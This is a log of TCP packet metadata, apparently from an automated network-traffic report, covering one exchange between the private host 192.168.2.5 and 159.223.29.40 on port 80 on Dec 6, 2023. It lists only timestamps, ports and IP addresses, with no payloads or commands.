Dec 6, 2023 14:33:22.422020912 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422127008 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422166109 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422168016 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422188997 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422208071 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422211885 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422245979 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422250032 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422283888 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422286987 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422322035 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422328949 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422359943 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422364950 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422398090 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422401905 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422435045 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422441006 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422472954 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422477007 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422511101 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422513008 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422549963 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422553062 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422588110 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422591925 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422625065 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422630072 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422663927 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422667980 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422702074 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422709942 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422741890 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422746897 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422780037 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422781944 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422816992 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422820091 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422854900 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422858000 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422890902 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422895908 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422929049 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422935009 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.422971010 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.422977924 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423008919 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423012972 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423046112 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423051119 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423083067 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423089027 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423120022 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423122883 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423161030 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423166037 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423198938 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423202038 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423235893 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423238993 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423273087 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423276901 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423310041 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423314095 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423351049 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423355103 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423387051 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423396111 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423424006 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423430920 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423461914 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423465967 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423499107 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423502922 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423537016 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423538923 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423574924 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423583984 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423610926 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423612118 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423650980 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423656940 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423687935 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423693895 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423726082 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423732042 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423764944 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423772097 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423803091 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423810005 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423841000 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423845053 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423877954 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423882008 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423914909 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423921108 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423952103 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423954010 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.423986912 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.423995018 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424025059 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424030066 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424061060 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424077988 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424098969 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424103022 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424137115 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424141884 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424177885 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424181938 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424213886 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424226046 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424252033 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424259901 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424289942 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424294949 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424329042 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424335003 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424370050 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424375057 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424407005 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424412012 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424443960 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424448013 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424480915 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424485922 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424518108 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424524069 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424556017 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424562931 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424592972 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424597979 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424629927 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424638987 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424669027 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424676895 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424705982 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424710989 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424753904 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424765110 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424818993 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424824953 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424856901 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424860001 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424895048 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424901962 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424936056 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424942017 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.424973011 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.424978971 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425010920 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425018072 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425049067 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425052881 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425085068 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425093889 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425127029 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425127983 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425164938 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425165892 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425203085 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425209045 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425240993 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425247908 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425278902 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425282955 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425319910 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425326109 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425357103 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425362110 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425394058 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425406933 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425431013 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425435066 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425468922 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425473928 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425507069 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425518036 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425544024 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425551891 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425581932 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425586939 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425620079 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425626040 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425659895 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425667048 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425698042 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425704956 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425735950 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425745964 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425772905 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425776005 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425811052 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425816059 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425849915 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425853968 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425888062 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425889969 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425925970 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425931931 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425961971 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.425971985 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.425998926 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426006079 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426037073 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426040888 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426074028 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426079988 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426119089 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426121950 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426156998 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426162004 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426192999 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426202059 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426229954 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426234961 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426266909 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426275015 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426306963 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426314116 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426345110 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426351070 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426383018 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426388025 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426419973 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426424980 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426456928 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426461935 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426495075 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426497936 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426533937 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426537991 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426570892 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426589966 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426615953 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426624060 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426656008 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426660061 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426692963 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426695108 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426728964 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426734924 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426768064 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426774979 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426804066 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426812887 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426841974 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426846981 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426879883 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426887989 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426917076 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426923037 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426955938 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426966906 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.426992893 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.426997900 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427030087 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427035093 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427067041 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427072048 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427103043 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427108049 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427140951 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427145004 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427176952 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427182913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427215099 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427220106 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427251101 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427251101 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427289963 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427294970 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427326918 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427334070 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427369118 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427371979 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427416086 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427421093 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427453041 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427458048 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427489996 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427495003 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427527905 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427531958 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427567005 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427572012 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427604914 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427608967 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427644014 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427645922 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427680969 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427686930 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427717924 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427722931 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427756071 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427757025 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427793980 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427799940 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427830935 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427838087 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427872896 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427882910 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427911997 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427913904 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427951097 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427964926 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.427989960 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.427994967 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428026915 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.428033113 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428065062 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.428071022 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428102970 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.428108931 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428141117 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.428144932 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428181887 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.428185940 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.428222895 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.611908913 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.611957073 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.611995935 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612035990 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612082958 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612119913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612119913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612121105 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612119913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612119913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612138987 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612159967 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612169027 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612202883 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612210035 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612240076 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612246990 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612279892 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612283945 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612318993 CET	80	49730	159.223.29.40	192.168.2.5
